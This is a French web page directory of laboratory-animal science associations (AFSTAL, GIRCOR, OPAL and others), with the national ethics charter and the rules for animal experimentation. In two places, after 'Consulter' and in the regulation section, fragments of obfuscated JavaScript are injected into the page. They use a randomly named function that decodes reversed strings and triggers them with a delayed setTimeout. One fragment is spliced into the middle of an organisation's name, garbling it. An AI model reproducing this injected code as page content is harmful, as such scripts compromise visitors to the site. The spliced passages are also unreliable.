Animaux de laboratoire (Associations, réglementation)

La réglementation relative à la protection des animaux utilisés à des fins scientifiques est applicable depuis janvier 2013, inscrivant au Code Rural la transposition en droit français de la Directive 2010/63/UE.

Carnet d'adresses

AFSTAL Association Française des Sciences et Techniques de l'Animal de Laboratoire

28 rue Saint Dominique - 75008 PARIS

Contacts :

Mme BOUARD Delphine

Mme ENGELHART Lucie

M. LANGONNET Stéphan

Mme LIABEUF Marie

www.afstal.com

Objectifs de la commission vétérinaire ComVet :

- Développer les échanges entre expérimentateurs, responsables d'animalerie et vétérinaires sur des sujets liés aux sciences vétérinaires des animaux de laboratoire.

- Faire connaître et promouvoir la spécificité des sciences et techniques et de la médecine des animaux de laboratoire, notamment favoriser la formation du personnel et soutenir la spécialisation vétérinaire en médecine et sciences des animaux de laboratoire.

- Être un lieu de rencontre et d'échanges pour vétérinaires et non-vétérinaires, sur toute question scientifique ayant trait à l'animal de laboratoire.

- Promouvoir les connaissances physiopathologiques de l'animal de laboratoire.

Anilab

Liste francophone d'échanges sur les sciences et techniques concernant l'animal de laboratoire.

Destinée aux chercheurs, techniciens, responsables d'animalerie, vétérinaires, médecins.

anilab@cines.fr

Ethic_al

Réseau francophone gratuit de personnes impliquées dans la mise en application de principes éthiques en expérimentation animale.

http://www.afstal.com/Ethic-al

Charte Nationale

Comité National de Réflexion Ethique sur l’Expérimentation Animale CNREEA

Charte nationale sur l’éthique de l’expérimentation animale

Mis en place en 2005 par les ministres chargés de la recherche et de l’agriculture, le Comité national de réflexion éthique sur l'expérimentation animale a élaboré une charte nationale énonçant les principes devant être adoptés par les personnes pratiquant des expérimentations sur des animaux vertébrés vivants.

La Charte illustre l’engagement des chercheurs et organismes de recherche à l’égard du respect de l’animal.

Référencée dans les nouveaux textes réglementaires, elle constitue le référentiel sur la base duquel les établissements de recherche créent des comités d’éthique appliqués à l’expérimentation animale et demandent leur enregistre- ment par le Comité national.

Les comités sont en charge de mener à bien l’évaluation éthique et de rendre un avis sur tous les projets de recherche impliquant l’utilisation d’animaux dans des procédures expérimentales.

Sans avis favorable délivré par un Comité d’éthique, les projets ne peuvent être autorisés par le Ministère de la Recherche.

Consulter

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse(">

Association for Assessment dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Accreditation of Laboratory Animal Care International

www.aaalac.org

International Council for Laboratory Animal Science

www.iclas.org

Federation of European Laboratory Animal Science Associations

Méthodes alternatives en experimentation animale

www.nc3rs.org.uk

http://3rs.ccac.ca/fr/

Formation

Les formations spéciales à l’expérimentation animale sont d’ordre réglementaire, agréées par le Ministère de l’Agriculture, ou techniques.

Liste des formations disponible sur le site de l’AFSTAL.

www.afstal.com/ Liens-et-ressources-Formations

GIRCOR Interprofessionnel de Réflexion et de Communication sur la Recherche

Association composée d’entreprises privées et d’établissements publics français de recherche biologique. Le GIRCOR prône une recherche animale scientifiquement valable et éthiquement acceptable en apportant une communication objective et transparente sur le recours à l’animal en recherche. Son groupe de travail dédié aux comités d’éthique discute les bonnes pratiques et établit des lignes directrices pour le fonctionnement des comités et la conduite des évaluations éthiques des projets de recherche.

contact@recherche-animale.org

www.recherche-animale.org

OPAL Recherche expérimentale et protection de l’animal de laboratoire

4 avenue de l'Observatoire - 75006 PARIS

07 68 43 88 26

www.opal-association.org

Créée en 1968, l’association a pour but de développer des méthodes alternatives et d’améliorer les règles et bonnes pratiques en matière d’expérimentation animale.

ESLAV European Society of Laboratory Animal Veterinarians

http://eslav-eclam.org/

ECLAM European College of Laboratory Animal Medicine

www.ebvs.org

Réglementation

Le nouveau cadre intègre plusieurs niveaux d’autorisation et de contrôle.

Le contrôle de la protection animale reste confié aux inspecteurs de santé publique vétérinaire, qui ont en charge d’évaluer les demandes d’agrément des établissements et les informations permettant d’attester de l’acquisition et du maintien de la compétence du personnel qui conçoit ou réalise les procédures expérimentales ou qui est en charge des soins apportés aux animaux. Lors des inspections, les ISPV vérifient les bonnes conditions d’application des procédures expérimentales aux animaux en particulier que le bien-être des animaux est pris en considération à chaque étape.

Une évaluation éthique et une autorisation préalable sont obligatoires

Pour tout projet nécessitant le recours aux animaux de laboratoire dans des procédures expérimentales.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[">

Les comités d’éthique en expérimentation animale doivent être agréés et audités par le Ministère de la Recherche

sur la base des garanties apportées en matière de compétence et d’indépendance. Une structure chargée du bien-être des animaux, recevant le support du vétérinaire désigné de l’établissement, compétent en médecine des animaux de laboratoire, est mise en place par les institutions de recherche afin de suivre la réalisation des projets et prodiguer des conseils pour améliorer autant que de besoin les conditions d’hébergement et la prise en charge des animaux avant, pendant et après les études.

Pour plus d’informations

Consulter la rubrique « L'utilisation des animaux à des fins scientifiques » du site du Ministère chargé de la Recherche :

http://www.enseignementsup-recherche.gouv.fr/cid70597/ l-utilisation-des-animaux-a-des-fins-scientifiques.html